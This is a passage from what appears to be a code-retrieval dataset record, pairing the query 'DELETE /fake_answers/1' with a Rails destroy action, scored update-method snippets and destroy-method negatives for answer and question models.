"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.post.update(embedded_post_params)\n format.js { head :no_content }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # Using first or create allows users to update their answer (or create it obviously)\n answer = Answer.where(:question_id => params[:question_id], :user_id => current_user.id).first_or_create! do |answer|\n answer.user_id = current_user.id\n answer.survey_id = params[:survey_id]\n answer.group_id = current_user.group.id\n answer.question_id = params[:question_id]\n answer.answer = params[:answer]\n\n @created = true\n\n if answer.save\n q = IQuestion.find_by_id(params[:question_id])\n\n if q.present?\n qdes = q.description\n else\n qdes = \"Orphaned question\"\n end\n\n s = ISurvey.find_by_id(params[:survey_id])\n\n if s.present?\n sdes = s.title\n else\n sdes = \"Orphaned survey\"\n end\n #sendCable(\"#{current_user.name} <#{current_user.email}>\", \"[#{sdes}] #{qdes}:\", params[:answer])\n\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n if !@created && answer\n answer.answer = params[:answer]\n if answer.save\n #sendCable(\"#{current_user.name} <#{current_user.email}>\", \"Updated Answer: \", params[:answer])\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n if @client_answer.update_attributes(params[:client_answer])\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update\n respond_to do |format|\n if @asked_to_answer.update(asked_to_answer_params)\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @asked_to_answer }\n else\n format.html { render :edit }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end",
"def update\n respond_to do |format|\n if @actual_answer.update(actual_answer_params)\n format.html { redirect_to @actual_answer, notice: 'Actual answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_answer }\n else\n format.html { render :edit }\n format.json { render json: @actual_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer_respondent.update(answer_respondent_params)\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_respondent }\n else\n format.html { render :edit }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n if @submitted_answer.update_attributes(params[:submitted_answer])\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:comment])\n format.html { redirect_to @answer }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer.update(answer_params)\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def update\n respond_to do |format|\n if @pre_test_answer.update(pre_test_answer_params)\n format.html { redirect_to @pre_test_answer, notice: 'Pre test answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_test_answer }\n else\n format.html { render :edit }\n format.json { render json: @pre_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find_by_uuid(params[:id])\n @question = @answer.question\n\n respond_to do |format|\n begin\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.uuid), notice: 'Your answer was successfully saved.' }\n format.json { render json: @answer, status: :created, location: answer_path(@answer.uuid) }\n else\n format.html { render action: \"edit\", location: edit_answer_path(@answer.uuid) }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: edit_answer_path(@answer.uuid) }\n end\n rescue ActiveRecord::ReadOnlyRecord\n format.html { redirect_to answer_path(@answer.uuid), notice: \"You cannot change the answer\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: answer_path(@answer.uuid) }\n end\n end\n end",
"def set_fake_answer\n @fake_answer = FakeAnswer.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer.question, notice: 'Respuesta actualizada satisfactoriamente' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to([@question,@answer], :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submitted_answer.update(submitted_answer_params)\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @submitted_answer }\n else\n format.html { render :edit }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n answer = current_user.answers.create!(quiz: @quiz, correctness: (params[:answer].to_i > 0) )\n\n respond_to do |format|\n format.html { redirect_to topic_quiz_path(@quiz, @quiz.topic), notice: 'Your answer is saved.' }\n format.json { render :show, status: :ok, location: topic_quiz_path(@quiz, @quiz.topic) }\n end\n end",
"def update\n if @answer.update(answer_params)\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:edit, @answer)\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end",
"def update\n # Do not support updating an answer for now\n # Once you have answered there is no return\n end",
"def update\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n if @user_answer.update_attributes(params[:user_answer])\n format.html { redirect_to @user_answer, notice: 'User answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n if @gotcha.update_attributes(params[:gotcha])\n format.html { redirect_to @gotcha, notice: 'Gotcha was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gotcha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @icebreaker_answer.update(icebreaker_answer_params)\n format.html { redirect_to @icebreaker_answer, notice: 'Icebreaker answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @icebreaker_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @answer = Answer.find_by_uuid(params[:id])\n if [email protected]?\n redirect_to(answer_path(@answer.uuid), notice: 'You have already answered this question.') and return\n end\n\n @question = @answer.question\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def update\n @question = Question.find(params[:id])\n if params[:question][:answer].present?\n @question.answered_by = current_user.id\n @question.answered_at = Time.zone.now if @question.answered_at.nil?\n end\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @solution = @idea.solutions.find(params[:id])\n\n if @solution.update_attributes(params[:solution])\n render json: { text: \"success\" }\n else\n render json: { text: \"fail\"}\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end",
"def fake_answer_params\n params.require(:fake_answer).permit(:answer, :question_id, :quiz_id)\n end",
"def update\n respond_to do |format|\n if @test_question.update(test_question_params)\n format.html { redirect_to @test_question, notice: 'Test question was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_question }\n else\n format.html { render :edit }\n format.json { render json: @test_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz_attempt.update(quiz_attempt_params)\n @quiz_attempt.check_answers\n format.html { redirect_to @quiz_attempt, notice: 'Quiz attempt was successfully updated.' }\n format.json { render :show, status: :ok, location: @quiz_attempt }\n else\n format.html { render :edit }\n format.json { render json: @quiz_attempt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n if @answer.user == current_user\n @answer.approved = false\n end\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n @answer.create_activity :update, owner: current_user\n flash.now[:notice] = 'Answer was successfully updated.'\n format.html\n format.json { head :no_content }\n format.js { render \"answers/create\", :layout => false }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n format.js { render \"answers/create\", :layout => false }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz_answer.update(quiz_answer_params)\n format.html { redirect_to @quiz_answer, notice: 'Quiz answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quiz_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply_answer.update(reply_answer_params)\n format.html { redirect_to @reply_answer, notice: 'Reply answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply_answer }\n else\n format.html { render :edit }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to answer_url(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors.to_xml }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def update\n if @answer.update(answer_params)\n render json: { answer: view_show(@answer, @user_logged_in) }, status: :ok\n else\n @errors = translateModelErrors @question\n add_prefix_to_field @errors, \"answer:\"\n render json: { errors: @errors }, status: :bad_request\n end\n rescue ActionController::ParameterMissing\n @errors = [Error.new('missing_field', 'answer')]\n render json: { errors: @errors }, status: :bad_request\n end",
"def update\n appointment_request = current_user.pending_requests.find(\n params[:request_id]\n )\n\n case params[:answer]\n when 'accept'\n if appointment_request.accept!\n redirect_to root_path\n else\n render status: 500\n end\n when 'reject'\n if appointment_request.reject!\n redirect_to root_path\n else\n render status: 500\n end\n else\n render json: { appointment_request: appointment_request, status: 200 }\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @possible_answer.update(possible_answer_params)\n format.html { redirect_to @possible_answer, notice: 'Possible answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @possible_answer }\n else\n format.html { render :edit }\n format.json { render json: @possible_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find_by_key(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.key), notice: 'Answer was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def update\n respond_to do |format|\n if @check_answer.update(check_answer_params)\n format.html { redirect_to @check_answer, notice: 'Check answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_answer }\n else\n format.html { render :edit }\n format.json { render json: @check_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to model_customer_path(@model, @customer), notice: 'Model was successfully updated.' }\n format.json { render :show, status: :ok, location: @model }\n else\n format.html { render :edit }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n end",
"def update\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n if @survey_answer_item.update_attributes(params[:survey_answer_item])\n format.html { redirect_to @survey_answer_item, notice: 'Survey answer item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_answer_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n if @fixture.update_attributes(fixture_params)\n format.json { head :no_content }\n else\n format.json { render json: @fixture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @picture_test_answer.update(picture_test_answer_params)\n format.html { redirect_to @picture_test_answer, notice: 'Picture test answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @picture_test_answer }\n else\n format.html { render :edit }\n format.json { render json: @picture_test_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n @question_link = QuizQuestion.find_by_id(@question.questionid)\n @question_link.update(:points => params[:points])\n @quiz = Quiz.find_by_id(@question_link.quizid)\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @test.created_at != @test.updated_at \n respond_to do |format|\n format.html { redirect_to @test, notice: \"Cheating activity is not allowed! You have done this test!\" } # Khong cho phep user lam lai bai test da nop\n end\n else\n begin\n answers = params[:test][:answer_ids]\n score = 0\n @test.questions.each do |question|\n ans = answers[\"question_#{question.id}\"]\n if !ans.nil?\n if question.answers.where(\"answers.id = #{ans.to_i}\").first.right_answer\n score = score + 1\n end\n ## Cap nhat Answer ID da chon ##\n QuestionsTest.where(:question_id => question.id, :test_id => @test.id)\n .update_all(:chosen_answer_id => ans.to_i)\n end\n end\n ## Luu diem ##\n @test.score = score\n @test.save\n\n respond_to do |format|\n format.html { redirect_to @test }\n format.json { render :show, status: :ok, location: @test }\n end\n rescue\n @test.score = 0\n @test.save\n respond_to do |format|\n format.html { redirect_to @test }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n if Asking.sum(\"answered\") <4\n respond_to do |format|\n if @asking.update(asking_params)\n format.html { redirect_to random_url}\n format.json { render :show, status: :ok, location: @asking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @asking.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n if @asking.update(asking_params)\n format.html { redirect_to results_url}\n format.json { render :show, status: :ok, location: @asking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @asking.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update_answers\n last_user_answers.each do |lua|\n lua.correct= (lua.response.to_f == self.response.to_f)\n lua.save!\n end\n end",
"def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end",
"def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end",
"def update\n respond_to do |format|\n if @ask.update(ask_params)\n format.html { redirect_to @ask, notice: 'Ask was successfully updated.' }\n format.json { render :show, status: :ok, location: @ask }\n else\n format.html { render :edit }\n format.json { render json: @ask.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n if @textanswer.update_attributes(params[:textanswer])\n format.html { redirect_to @textanswer, notice: 'Textanswer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @textanswer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_answer.update(tipo_answer_params)\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_answer }\n else\n format.html { render :edit }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.68757325",
"0.6873886",
"0.6738325",
"0.6663481",
"0.64679563",
"0.64679563",
"0.6457721",
"0.64376235",
"0.6424249",
"0.64161676",
"0.64153993",
"0.6397989",
"0.6345244",
"0.63425946",
"0.6326939",
"0.6321163",
"0.6320706",
"0.6319739",
"0.63186616",
"0.6309624",
"0.6309624",
"0.6309624",
"0.6305421",
"0.6293541",
"0.62847936",
"0.62639403",
"0.62475497",
"0.62475497",
"0.62475497",
"0.62468797",
"0.62458163",
"0.6244066",
"0.6242291",
"0.623153",
"0.62283343",
"0.622698",
"0.6221781",
"0.62142146",
"0.6197906",
"0.61944205",
"0.61881894",
"0.6177733",
"0.61538637",
"0.6139493",
"0.61390316",
"0.61065316",
"0.6096565",
"0.6093635",
"0.60880816",
"0.6085472",
"0.6059673",
"0.6038583",
"0.60271174",
"0.60178864",
"0.60066205",
"0.60066205",
"0.60066205",
"0.6005604",
"0.60040665",
"0.59814495",
"0.5980581",
"0.597876",
"0.59773386",
"0.5971839",
"0.5962714",
"0.59587514",
"0.5957951",
"0.5950058",
"0.5943834",
"0.5936589",
"0.5933485",
"0.5923205",
"0.5923003",
"0.5922769",
"0.5916959",
"0.59139806",
"0.5910586",
"0.59072036",
"0.5907203",
"0.5905911",
"0.5901288",
"0.5900647",
"0.58752483",
"0.5875025",
"0.58730245",
"0.5872349",
"0.5872121",
"0.5870034",
"0.5867528",
"0.5857512",
"0.5845685",
"0.58446693",
"0.58410686",
"0.5839299",
"0.58365464",
"0.58356845",
"0.58328766",
"0.5828358",
"0.5818697",
"0.5809422"
] | 0.7129221 | 0 |
DELETE /fake_answers/1 DELETE /fake_answers/1.json | def destroy
@fake_answer.destroy
respond_to do |format|
format.html { redirect_to fake_answers_url, notice: 'Fake answer was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = current_user.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n\n head :no_content\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Answer deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t#@answer.destroy\n\t\t#respond_to do |format|\n\t\t#\tformat.html { redirect_to answers_url }\n\t\t#\tformat.json { head :no_content }\n\t\t#end\n\n\tend",
"def destroy\n @actual_answer.destroy\n respond_to do |format|\n format.html { redirect_to actual_answers_url, notice: 'Actual answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @given_answer.destroy\n respond_to do |format|\n format.html { redirect_to given_answers_url, notice: 'Given answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n @survey_answer_item.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_answer_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer = Answer.find(params[:id])\n @answerable = @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @answerable }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submitted_answer = SubmittedAnswer.find(params[:id])\n @submitted_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to submitted_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @pre_test_answer.destroy\n respond_to do |format|\n format.html { redirect_to pre_test_answers_url, notice: 'Pre test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz_answer.destroy\n respond_to do |format|\n format.html { redirect_to quiz_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_answer.destroy\n end",
